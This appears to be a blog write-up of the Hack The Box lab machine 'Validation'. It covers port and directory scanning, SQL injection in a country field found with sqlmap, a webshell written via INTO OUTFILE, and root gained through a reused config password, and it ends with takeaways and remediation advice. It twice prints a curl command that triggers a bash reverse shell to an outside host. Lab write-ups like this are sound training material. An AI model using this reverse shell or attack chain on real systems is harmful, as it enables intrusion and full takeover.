Hacking Insights by Max Bautista

Validation writeup

Box name: Validation

Difficulty: Easy

OS: Linux

Overview:

Link: https://app.hackthebox.com/machines/Validation?sort_by=created_at&sort_type=desc

Machine IP:  10.129.95.235

Ran rustscan on the machine. 

rustscan -a 10.129.95.235 –ulimit 5000 -b 2000 — -A -Pn

Looked at the http server and it looks like some qualifiers website.

When I created a test account in a random country it looks like it would show if there are other users in that area. There might be a database here.

Ran feroxbuster while I poke at this more. 

feroxbuster -u http://10.129.95.235 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

My initial thoughts were either SQL injection or for some reason credentials are in one of the countries and would need to use Burp to find the length of which one has other Players.

I first ran sqlmap after intercepting a request with Burp.

sqlmap -r intercepted_request.txt

It did say the Brazil part of the input was vulnerable but I couldn’t dump anything.

I wasn’t able to quite figure this out on my own so I peeked at the writeup. Note to self do SQL module from HTB. As the country was vulnerable we are able to get a shell. Sent this request from Burp.

Then sent /account.php with the cookie of the user we got.

Was able to activate it with curl and we got a shell.

curl -G http://10.129.95.235/shell.php –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/10.10.16.147/1337 0>&1′”

As there was a config.php in the directory we landed I read that and it had a password. Tried it on root and it worked.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP) and 8080 (HTTP). Browsed to the web server and found a qualifier registration site. Creating a test account and selecting a country showed other registered users in the same region. Ran feroxbuster while poking around manually.

rustscan -a 10.129.95.235 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.95.235 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – SQL injection discovery Initial suspicion was SQL injection on the country parameter or that credentials were hidden in a country entry requiring Burp to enumerate response lengths. Intercepted a registration request with Burp and ran sqlmap against it. Confirmed the country field was vulnerable to SQL injection.

sqlmap -r intercepted_request.txt

3 – Initial Access – SQLi to webshell Used the SQL injection in the country parameter to write a PHP webshell to the web root via a SQL INTO OUTFILE query. Sent the malicious request through Burp and confirmed the shell was written. Accessed it via the session cookie and triggered a bash reverse shell using curl.

curl -G http://10.129.95.235/shell.php –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/10.10.16.147/1337 0>&1′”

4 – Privilege Escalation – config file credential reuse Landed in the web application directory and found a config.php file. Read it and found a plaintext password. Tried the password on the root account via su and it worked. Retrieved both user.txt and root.txt.

---

Key Takeaways

1. SQL injection in country parameter – The country field was passed directly into a SQL query without sanitisation or parameterisation, allowing an attacker to manipulate the query. All database queries must use prepared statements with parameterised inputs. User-supplied data must never be concatenated directly into SQL queries.
2. SQL INTO OUTFILE enabled leading to webshell write – The database user had FILE privileges, allowing SQL queries to write arbitrary files to the filesystem including PHP webshells in the web root. Database accounts must be granted the minimum required privileges and FILE permission must never be granted to web application database users.
3. Plaintext credentials in config.php – The database configuration file contained a plaintext password that was reused for the root OS account. Configuration files must be access-controlled and credentials must be unique per service. Root account credentials must never match application or database passwords.
4. Password reuse between application config and root account – A single exposed config file led directly to full root access with no additional exploitation required. This is a critical finding and illustrates why credential isolation across all accounts and services is essential.
5. Web server running with write access to web root – The SQL INTO OUTFILE query succeeded because the database and web server had write access to the web root directory. Web roots must be read-only for all service accounts and the database user must have no access to the filesystem outside its data directory.

---

Remediation

[Immediate] Remediate all SQL injection vulnerabilities Audit the entire application for SQL injection by reviewing every point where user input interacts with database queries. Replace all dynamic query construction with prepared statements and parameterised queries. Deploy a WAF with SQL injection rules as a compensating control while remediation is in progress.

[Immediate] Revoke FILE privilege from the database user Connect to the database and revoke the FILE privilege from the web application database account immediately. Audit all database users for excessive privileges and apply the principle of least privilege. The web application user should have only SELECT, INSERT, UPDATE, and DELETE on its own schema.

[Immediate] Rotate all credentials in config files and the root account The database password in config.php and the root account password must be rotated immediately and set to unique values. Audit all config files across the application for hardcoded credentials and migrate them to environment variables or a secrets management solution.

[Short-term] Restrict web root permissions Set the web root directory and all files within it to be owned by root and readable but not writable by the web server process. The web server service account must have no write access to any directory that serves web content. Apply these permissions as part of a server hardening baseline.

[Long-term] Implement application security testing as part of the development lifecycle SQL injection and missing input validation are well-understood vulnerability classes that should be caught before deployment. Integrate SAST and DAST tooling into the CI/CD pipeline and conduct regular web application penetration tests. Train developers on secure coding practices with a focus on input validation and safe database interaction patterns.